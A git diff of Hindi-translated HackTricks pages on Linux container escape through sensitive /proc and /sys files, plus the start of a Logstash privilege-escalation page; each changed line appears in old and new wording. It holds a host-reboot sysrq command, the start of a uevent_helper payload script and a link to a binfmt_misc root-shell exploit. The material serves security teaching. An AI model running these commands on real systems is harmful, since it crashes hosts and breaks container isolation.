[/proc/sys/fs/binfmt_misc](https://man7.org/linux/man-pages/man5/proc.5.html) विविध बाइनरी प्रारूपों को निष्पादित करने की अनुमति देता है, जिसका आमतौर पर यह मतलब होता है कि विभिन्न **interpreters को गैर-मूल बाइनरी** प्रारूपों के लिए उनके मैजिक नंबर के आधार पर पंजीकृत किया जा सकता है (जैसे कि Java)। आप कर्नेल को एक बाइनरी निष्पादित करने के लिए हैंडलर्स के रूप में पंजीकृत कर सकते हैं।\
|
||||
आप एक एक्सप्लॉइट [https://github.com/toffan/binfmt_misc](https://github.com/toffan/binfmt_misc) में पा सकते हैं: _Poor man's rootkit, leverage_ [_binfmt_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt_misc.txt#L62) _विकल्प का उपयोग करके किसी भी suid बाइनरी के माध्यम से प्रिविलेज एस्केलेट करने के लिए (और एक रूट शेल प्राप्त करने के लिए) यदि `/proc/sys/fs/binfmt_misc/register` लिखने योग्य है।_
|
||||
|
||||
इस तकनीक की और गहराई से समझने के लिए [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) देखें
|
||||
इस तकनीक की अधिक गहराई से व्याख्या के लिए देखें [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
## /proc/config.gz
|
||||
|
||||
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) `CONFIG_IKCONFIG_PROC` सेटिंग्स पर निर्भर करता है, यह चल रहे कर्नल के कॉन्फ़िगरेशन विकल्पों के एक संकुचित संस्करण को उजागर करता है। यह एक संक्षेपित रूप में एक कंप्रोमाइज़ या दुष्ट विन्यास को आसानी से खोजने और लक्ष्यित करने की अनुमति दे सकता है जो कर्नल में सक्षम किए गए हों।
|
||||
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) `CONFIG_IKCONFIG_PROC` सेटिंग्स के आधार पर, यह चल रहे कर्नेल के लिए कर्नेल कॉन्फ़िगरेशन विकल्पों का एक संपीड़ित संस्करण प्रदर्शित करता है। यह एक समझौता या दुर्भावनापूर्ण कंटेनर को कर्नेल में सक्षम असुरक्षित क्षेत्रों को आसानी से खोजने और लक्षित करने की अनुमति दे सकता है।
|
||||
|
||||
## /proc/sysrq-trigger
|
||||
|
||||
`Sysrq` एक पुरानी तंत्र है जिसे एक विशेष `SysRq` कुंजी संयोजन के माध्यम से आह्वानित किया जा सकता है। इससे सिस्टम को तुरंत रिबूट करने, `sync(2)` का इस्यू करने, सभी फ़ाइल सिस्टम को केवल पठने योग्य रूप में पुनर्मूल्यांकित करने, कर्नल डीबगर्स को आह्वानित करने और अन्य संचालनों की अनुमति हो सकती है।
|
||||
`Sysrq` एक पुरानी तंत्र है जिसे एक विशेष `SysRq` कीबोर्ड संयोजन के माध्यम से आमंत्रित किया जा सकता है। यह सिस्टम का तत्काल पुनरारंभ, `sync(2)` का जारी करना, सभी फाइल सिस्टम्स को पढ़ने के लिए केवल-पढ़ने के रूप में रीमाउंट करना, कर्नेल डिबगर्स को आमंत्रित करना, और अन्य संचालन करने की अनुमति दे सकता है।
|
||||
|
||||
यदि अतिथि को ठीक से अलग नहीं किया गया है, तो वह `/proc/sysrq-trigger` फ़ाइल में अक्षर लिखकर [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) कमांड को ट्रिगर कर सकता है।
|
||||
यदि अतिथि ठीक से अलग नहीं किया गया है, तो वह [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) आदेशों को ट्रिगर कर सकता है `/proc/sysrq-trigger` फाइल में अक्षर लिखकर।
|
||||
```bash
|
||||
# Reboot the host
|
||||
echo b > /proc/sysrq-trigger
|
||||
```
|
||||
## /proc/kmsg
|
||||
|
||||
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) कर्नल रिंग बफर संदेशों को उज्ज्वल कर सकता है जो सामान्यतः `dmesg` के माध्यम से पहुंचे जाते हैं। इस सूचना के प्रकट होने से कर्नल अधिकार उत्पन्न हो सकते हैं, कर्नल पता रिसाव (जो कर्नल पता स्थान व्यावसायिक विकास में मदद कर सकता है) को हराने में मदद कर सकते हैं, और कर्नल, हार्डवेयर, अवरुद्ध पैकेट और अन्य सिस्टम विवरणों के बारे में सामान्य सूचना विस्तार का स्रोत हो सकती है।
|
||||
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) से कर्नेल रिंग बफर संदेशों का पता चलता है जिसे आमतौर पर `dmesg` के माध्यम से एक्सेस किया जाता है। इस जानकारी का खुलासा कर्नेल एक्सप्लॉइट्स में मदद कर सकता है, कर्नेल पते की लीक को ट्रिगर कर सकता है (जिसका उपयोग कर्नेल एड्रेस स्पेस लेआउट रैंडमाइजेशन (KASLR) को हराने में मदद कर सकता है), और कर्नेल, हार्डवेयर, ब्लॉक किए गए पैकेट्स और अन्य सिस्टम विवरणों के बारे में सामान्य जानकारी का स्रोत हो सकता है।
|
||||
|
||||
## /proc/kallsyms
|
||||
|
||||
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) डाइनामिक और लोडयोग्य मॉड्यूलों के लिए कर्नल निर्यातित प्रतीक और उनके पता स्थानों की सूची को संबोधित करता है। इसमें कर्नल की छवि का स्थान भी शामिल होता है जो कर्नल अधिकार विकास के लिए मददगार होता है। इन स्थानों से, कर्नल का आधार पता या ऑफसेट ढूंढा जा सकता है, जो कर्नल पता स्थान व्यावसायिक विकास (KASLR) को पार करने के लिए उपयोग किया जा सकता है।
|
||||
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) में कर्नेल निर्यात प्रतीकों और उनके पते के स्थानों की सूची होती है जो डायनामिक और लोडेबल मॉड्यूल्स के लिए होती है। इसमें भौतिक मेमोरी में कर्नेल की छवि का स्थान भी शामिल है, जो कर्नेल एक्सप्लॉइट विकास के लिए सहायक है। इन स्थानों से, कर्नेल का बेस पता या ऑफसेट पाया जा सकता है, जिसका उपयोग कर्नेल एड्रेस स्पेस लेआउट रैंडमाइजेशन (KASLR) को पराजित करने में किया जा सकता है।
|
||||
|
||||
`kptr_restrict` को `1` या `2` पर सेट करने वाले सिस्टमों के लिए, यह फ़ाइल मौजूद होगी लेकिन कोई पता सूचना प्रदान नहीं करेगी (हालांकि संकेतों की क्रमबद्धता मेमोरी में क्रमबद्धता के समान होगी)।
|
||||
`kptr_restrict` को `1` या `2` पर सेट किए गए सिस्टम्स के लिए, यह फाइल मौजूद होगी लेकिन कोई पता जानकारी प्रदान नहीं करेगी (हालांकि प्रतीकों की सूची मेमोरी में उनके क्रम के समान है)।
|
||||
|
||||
## /proc/\[pid]/mem
|
||||
|
||||
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) कर्नल मेमोरी उपकरण `/dev/mem` के अंतर्गत इंटरफेस प्रकट करता है। यद्यपि PID नेमस्पेस कुछ हमलों से सुरक्षित कर सकता है जैसे कि यह `procfs` वेक्टर के माध्यम से, यह क्षेत्र ऐतिहासिक रूप से संकटग्रस्त रहा है, फिर सुरक्षित माना गया और फिर से [संकटग्रस्त](https://git.zx2c4.com/CVE-2012-0056/about/) प्राधिकरण के लिए।
|
||||
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) कर्नेल मेमोरी डिवाइस `/dev/mem` के इंटरफेस को उजागर करता है। जबकि PID नेमस्पेस कुछ हमलों से सुरक्षा प्रदान कर सकता है इस `procfs` वेक्टर के माध्यम से, यह क्षेत्र ऐतिहासिक रूप से कमजोर रहा है, फिर सुरक्षित माना गया और फिर से विशेषाधिकार वृद्धि के लिए [कमजोर](https://git.zx2c4.com/CVE-2012-0056/about/) पाया गया।
|
||||
|
||||
## /proc/kcore
|
||||
|
||||
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) सिस्टम की भौतिक मेमोरी को प्रतिष्ठान देता है और एक ELF कोर प्रारूप में होता है (सामान्यतः कोर डंप फ़ाइलों में पाया जाता है)। इसमें उस मेमोरी को लिखने की अनुमति नहीं होती है। इस फ़ाइल को पढ़ने की क्षमता (विशेषाधिकारी उपयोगकर्ताओं के लिए सीमित होती है) मेमोरी सामग्री को मेमोरी से लीक कर सकती है जो होस्ट सिस्टम और अन्य कंटेनरों से हो सकती है।
|
||||
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) सिस्टम की भौतिक मेमोरी का प्रतिनिधित्व करता है और यह एक ELF कोर फॉर्मेट में होता है (जो आमतौर पर कोर डंप फाइलों में पाया जाता है)। यह उस मेमोरी में लिखने की अनुमति नहीं देता है। इस फाइल को पढ़ने की क्षमता (विशेषाधिकार प्राप्त उपयोगकर्ताओं तक सीमित) मेजबान सिस्टम और अन्य कंटेनरों से मेमोरी सामग्री को लीक कर सकती है।
|
||||
|
||||
बड़ी रिपोर्ट की गई फ़ाइल आकार वास्तविकता में व्यावसायिक यादृच्छिकता के आधार पर इसे पढ़ने (या सॉफ़्टवेयर की कमजोरी के आधार पर क्रैश) कर सकती है।
|
||||
बड़े रिपोर्ट किए गए फाइल आकार का प्रतिनिधित्व आर्किटेक्चर के लिए भौतिक रूप से पता लगाने योग्य मेमोरी की अधिकतम मात्रा का होता है, और इसे पढ़ते समय समस्याएं पैदा कर सकता है (या सॉफ्टवेयर की नाजुकता के आधार पर क्रैश हो सकता है)।
|
||||
|
||||
[2019 में /proc/kcore को डंप करना](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
|
||||
[Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
|
||||
|
||||
## /proc/kmem
|
||||
|
||||
`/proc/kmem` [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) के लिए एक वैकल्पिक इंटरफेस है (जिसका सीग्रुप उपकरण सफेद सूची द्वारा अवरुद्ध होता है), जो कर्नल वर्चुअल मेमोरी को प्रतिष्ठान करने वाली एक वर्ण उपकरण फ़ाइल है। यह पढ़ने और लिखने दोनों की अनुमति देता है, जिससे कर्नल मेमोरी को सीधे संशोधित किया जा सकता है।
|
||||
`/proc/kmem` [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) के लिए एक वैकल्पिक इंटरफेस है (जिसकी सीधी पहुंच को cgroup डिवाइस व्हाइटलिस्ट द्वारा अवरुद्ध किया गया है), जो कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करने वाली एक कैरेक्टर डिवाइस फाइल है। यह पढ़ने और लिखने दोनों की अनुमति देता है, जिससे कर्नेल मेमोरी का सीधा संशोधन संभव है।
|
||||
|
||||
## /proc/mem
|
||||
|
||||
`/proc/mem` [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) के लिए एक वैकल्पिक इंटरफेस है (जिसका सीग्रुप उपकरण सफेद सूची द्वारा अवरुद्ध होता है), जो सिस्टम की भौतिक मेमोरी को प्रतिष्ठान करने वाली एक वर्ण उपकरण फ़ाइल है। यह पढ़ने और लिखने दोनों की अनुमति देता है, जिससे सभी मेमोरी को संशोधित किया जा सकता है। (यह `kmem` से थोड़ी अधिक कुशलता की आवश्यकता होती है, क्योंकि वर्चुअल पते को पहले भौतिक पतों में रिज़ॉल्व किया जाना चाहिए)।
|
||||
`/proc/mem` [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) के लिए एक वैकल्पिक इंटरफेस है (जिसकी सीधी पहुंच को cgroup डिवाइस व्हाइटलिस्ट द्वारा अवरुद्ध किया गया है), जो सिस्टम की भौतिक मेमोरी का प्रतिनिधित्व करने वाली एक कैरेक्टर डिवाइस फाइल है। यह पढ़ने और लिखने दोनों की अनुमति देता है, जिससे सभी मेमोरी का संशोधन संभव है। (यह `kmem` की तुलना में थोड़ी अधिक सूक्ष्मता की मांग करता है, क्योंकि वर्चुअल पतों को पहले भौतिक पतों में हल करना पड़ता है)।
|
||||
|
||||
## /proc/sched\_debug
|
||||
|
||||
`/proc/sched_debug` एक विशेष फ़ाइल है जो पूरे सिस्टम के लिए प्रक्रिया अनुसूचना जानकारी वापस करती है। इस सूचना में प्रक्रिया नाम और प्रक्रिया ID सभी नेमस्पेस से और प्रक्रिया सीग्रुप पहचानकर्ताओं सहित शामिल होते हैं। यह प्रभावी रूप से PID नेमस्पेस संरक्षण को दूर करता है और अनुप्रयोगित कंटेनरों में भी उपयोग किया जा सकता है।
|
||||
`/proc/sched_debug` एक विशेष फाइल है जो पूरे सिस्टम के लिए प्रोसेस शेड्यूलिंग जानकारी वापस करती है। इस जानकारी में सभी नेमस्पेसों से प्रोसेस नाम और प्रोसेस आईडी के अलावा प्रोसेस cgroup पहचानकर्ता शामिल होते हैं। यह प्रभावी रूप से PID नेमस्पेस सुरक्षा को दरकिनार करता है और यह अन्य/विश्व पठनीय है, इसलिए इसका उपयोग अनाधिकृत कंटेनरों में भी किया जा सकता है।
|
||||
|
||||
## /proc/\[pid]/mountinfo
|
||||
|
||||
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) प्रक्रिया के माउंट नेमस्पेस में माउंट प्वाइंट के बारे में जानकारी प्रदान करता है। यह कंटेनर `rootfs` या इमेज का स्थान प्रकट करता है।
|
||||
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) में प्रोसेस के माउंट नेमस्पेस में माउंट पॉइंट्स के बारे में जानकारी होती है। यह कंटेनर `rootfs` या इमेज का स्थान उजागर करता है।
|
||||
|
||||
# sysfs
|
||||
|
||||
## /sys/kernel/uevent\_helper
|
||||
|
||||
`uevents` कर्नल द्वारा एक उपकरण को जोड़ा या हटाए जाने पर उत्पन्न होने वाले घटनाओं हैं। विशेष रूप से, `uevent_helper` के लिए पथ `/sys/kernel/uevent_helper` लिखकर सं
|
||||
`uevents` वे घटनाएं हैं जो कर्नेल द्वारा ट्रिगर की जाती हैं जब कोई डिवाइस जोड़ा या हटाया जाता है। विशेष रूप से, `uevent_helper` का पथ `/sys/kernel/uevent_helper` में लिखकर संशोधित किया जा सकता है। फिर, जब एक `uevent` ट्रिगर किया जाता है (जो `/sys/class/mem/null/uevent` जैसी फाइलों में लिखकर उपयोगकर्ता भूमि से भी किया जा सकता है), दुर्भावनापूर्ण `uevent_helper` निष्पादित होता है।
|
||||
```bash
|
||||
# Creates a payload
|
||||
cat "#!/bin/sh" > /evil-helper
|
||||
|
@ -134,46 +132,44 @@ cat /output
|
|||
```
|
||||
## /sys/class/thermal
|
||||
|
||||
लैपटॉप या गेमिंग मदरबोर्ड में मिलने वाले एसीपीआई और विभिन्न हार्डवेयर सेटिंग्स का उपयोग तापमान नियंत्रण के लिए किया जाता है। यह कंटेनर होस्ट के खिलाफ डीओएस हमलों की अनुमति देता है, जो शारीरिक क्षति तक भी पहुंच सकता है।
|
||||
ACPI और विभिन्न हार्डवेयर सेटिंग्स तक पहुँच जो तापमान नियंत्रण के लिए होती है, आमतौर पर लैपटॉप्स या गेमिंग मदरबोर्ड्स में पाई जाती है। यह कंटेनर होस्ट के खिलाफ DoS हमलों की अनुमति दे सकता है, जिससे भौतिक क्षति भी हो सकती है।
|
||||
|
||||
## /sys/kernel/vmcoreinfo
|
||||
|
||||
यह फ़ाइल कर्नल पतों को लीक कर सकती है जो KASLR को परास्त करने के लिए उपयोग किए जा सकते हैं।
|
||||
यह फाइल कर्नेल पते को लीक कर सकती है जिसका उपयोग KASLR को पराजित करने के लिए किया जा सकता है।
|
||||
|
||||
## /sys/kernel/security
|
||||
|
||||
`/sys/kernel/security` में `securityfs` इंटरफ़ेस माउंट होता है, जो लिनक्स सुरक्षा मॉड्यूल के कॉन्फ़िगरेशन की अनुमति देता है। इसके माध्यम से [AppArmor नीतियों](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor) को कॉन्फ़िगर किया जा सकता है, और इसलिए इसका उपयोग करके कंटेनर अपनी MAC सिस्टम को अक्षम कर सकता है।
|
||||
`/sys/kernel/security` में `securityfs` इंटरफेस माउंट किया गया है, जो Linux Security Modules की कॉन्फ़िगरेशन की अनुमति देता है। यह [AppArmor policies](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel_interfaces#securityfs-syskernelsecurityapparmor) की कॉन्फ़िगरेशन की अनुमति देता है, और इसलिए इस तक पहुँच से कंटेनर अपनी MAC सिस्टम को अक्षम कर सकता है।
|
||||
|
||||
## /sys/firmware/efi/vars
|
||||
|
||||
`/sys/firmware/efi/vars` NVRAM में EFI चरणों के साथ इंटरैक्ट करने के लिए इंटरफ़ेस प्रदान करता है। यह आमतौर पर अधिकांश सर्वरों के लिए महत्वपूर्ण नहीं होता है, लेकिन EFI बढ़ती हुई प्रसिद्ध हो रही है। अनुमति कमजोरियों के कारण कुछ ब्रिक्ड लैपटॉप्स भी हुए हैं।
|
||||
`/sys/firmware/efi/vars` NVRAM में EFI वेरिएबल्स के साथ इंटरैक्ट करने के लिए इंटरफेस प्रदान करता है। जबकि यह अधिकांश सर्वरों के लिए प्रासंगिक नहीं होता है, EFI अधिक से अधिक लोकप्रिय हो रहा है। अनुमति की कमजोरियों ने कुछ लैपटॉप्स को ईंट जैसा बना दिया है।
|
||||
|
||||
## /sys/firmware/efi/efivars
|
||||
|
||||
`/sys/firmware/efi/efivars` UEFI बूट तर्कों के लिए उपयोग होने वाले NVRAM में लिखने के लिए एक इंटरफ़ेस प्रदान करता है। इन्हें संशोधित करने से होस्ट मशीन बूट नहीं हो सकती है।
|
||||
`/sys/firmware/efi/efivars` UEFI बूट आर्ग्युमेंट्स के लिए इस्तेमाल होने वाले NVRAM में लिखने के लिए एक इंटरफेस प्रदान करता है। इन्हें संशोधित करने से होस्ट मशीन अनबूटेबल हो सकती है।
|
||||
|
||||
## /sys/kernel/debug
|
||||
|
||||
`debugfs` कर्नल (या कर्नल मॉड्यूल) द्वारा एक "कोई नियम नहीं" इंटरफ़ेस प्रदान करता है, जिसके माध्यम से यूजरलैंड तक पहुंचने योग्य डीबग इंटरफ़ेस बनाए जा सकते हैं। इसने पिछले में कई सुरक्षा समस्याओं का सामना किया है, और फ़ाइलसिस्टम के पीछे "कोई नियम" दिशानिर्देशों ने अक्सर सुरक्षा प्रतिबंधों के साथ टकराव किया है।
|
||||
`debugfs` एक "कोई नियम नहीं" इंटरफेस प्रदान करता है जिसके द्वारा कर्नेल (या कर्नेल मॉड्यूल्स) यूजरलैंड के लिए सुलभ डिबगिंग इंटरफेस बना सकते हैं। इसमें अतीत में कई सुरक्षा मुद्दे रहे हैं, और फाइलसिस्टम के पीछे के "कोई नियम नहीं" दिशानिर्देश अक्सर सुरक्षा प्रतिबंधों के साथ टकराव में रहे हैं।
|
||||
|
||||
# संदर्भ
|
||||
|
||||
* [लिनक्स कंटेनर को समझें और हार्डन करें](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [विशेषाधिकार और अनिश्चित लिनक्स कंटेनर](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को पीडीएफ़ में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks को अन्य तरीकों से समर्थन दें:
|
||||
|
||||
- खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
|
||||
- प्राप्त करें [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** अनुसरण करें।**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में पीआर जमा करके**।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो** करें।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम विशेषज्ञ)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS परिवार**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# मूलभूत जानकारी
|
||||
# मूल जानकारी
|
||||
|
||||
Logstash लॉग्स को संग्रहित, परिवर्तित और आउटपुट करने के लिए उपयोग किया जाता है। इसे **पाइपलाइन** का उपयोग करके प्राप्त किया जाता है, जिसमें इनपुट, फ़िल्टर और आउटपुट मॉड्यूल होते हैं। यह सेवा रोचक होती है जब एक मशीन को हैक कर लिया जाता है जिसमें Logstash को सेवा के रूप में चलाया जाता है।
|
||||
Logstash का उपयोग लॉग्स को एकत्रित करने, परिवर्तित करने और आउटपुट करने के लिए किया जाता है। यह **पाइपलाइन्स** का उपयोग करके साकार किया जाता है, जिसमें इनपुट, फिल्टर और आउटपुट मॉड्यूल होते हैं। यह सेवा तब दिलचस्प हो जाती है जब एक मशीन को समझौता किया गया होता है जो Logstash को एक सेवा के रूप में चला रही होती है।
|
||||
|
||||
## पाइपलाइन
|
||||
## पाइपलाइन्स
|
||||
|
||||
पाइपलाइन कॉन्फ़िगरेशन फ़ाइल **/etc/logstash/pipelines.yml** निर्दिष्ट करती है कि सक्रिय पाइपलाइनों के स्थान क्या हैं:
|
||||
पाइपलाइन कॉन्फ़िगरेशन फ़ाइल **/etc/logstash/pipelines.yml** सक्रिय पाइपलाइन्स के स्थानों को निर्दिष्ट करती है:
|
||||
```bash
|
||||
# This file is where you define your pipelines. You can define multiple.
|
||||
# For more information on multiple pipelines, see the documentation:
|
||||
|
@ -33,23 +31,23 @@ path.config: "/etc/logstash/conf.d/*.conf"
|
|||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
यहां आपको **.conf** फ़ाइलों के पथ मिलेंगे, जिनमें कॉन्फ़िगर किए गए पाइपलाइन्स होती हैं। यदि **Elasticsearch आउटपुट मॉड्यूल** का उपयोग किया जाता है, तो **पाइपलाइन्स** में Elasticsearch इंस्टेंस के लिए मान्य **क्रेडेंशियल्स** होने की संभावना होती है। ये क्रेडेंशियल्स अक्सर अधिक विशेषाधिकारों के साथ होते हैं, क्योंकि Logstash को Elasticsearch में डेटा लिखना होता है। यदि वाइल्डकार्ड का उपयोग किया जाता है, तो Logstash उस फ़ोल्डर में स्थित सभी पाइपलाइन्स को चलाने का प्रयास करता है जो वाइल्डकार्ड के साथ मेल खाती हैं।
|
||||
यहाँ आप **.conf** फाइलों के पथ पा सकते हैं, जिनमें कॉन्फ़िगर किए गए पाइपलाइन्स होते हैं। यदि **Elasticsearch आउटपुट मॉड्यूल** का उपयोग किया जाता है, तो **पाइपलाइन्स** में एक Elasticsearch इंस्टेंस के लिए मान्य **क्रेडेंशियल्स** होने की संभावना होती है। ये क्रेडेंशियल्स अक्सर अधिक अधिकार वाले होते हैं, क्योंकि Logstash को Elasticsearch में डेटा लिखना होता है। यदि वाइल्डकार्ड्स का उपयोग किया जाता है, तो Logstash उस फोल्डर में स्थित सभी पाइपलाइन्स को चलाने की कोशिश करता है जो वाइल्डकार्ड से मेल खाते हैं।
|
||||
|
||||
## लिखने योग्य पाइपलाइन्स के साथ Privesc
|
||||
## लिखने योग्य पाइपलाइन्स के साथ प्रिवेस्क
|
||||
|
||||
अपनी अधिकारों को उन्नत करने की कोशिश करने से पहले, आपको जांचना चाहिए कि लॉगस्टैश सेवा किस उपयोगकर्ता के द्वारा चलाई जा रही है, क्योंकि यह उपयोगकर्ता आपके पास होगा, जिसके बाद आप स्वामित्व में होंगे। डिफ़ॉल्ट रूप से लॉगस्टैश सेवा **लॉगस्टैश** उपयोगकर्ता की विशेषाधिकारों के साथ चलती है।
|
||||
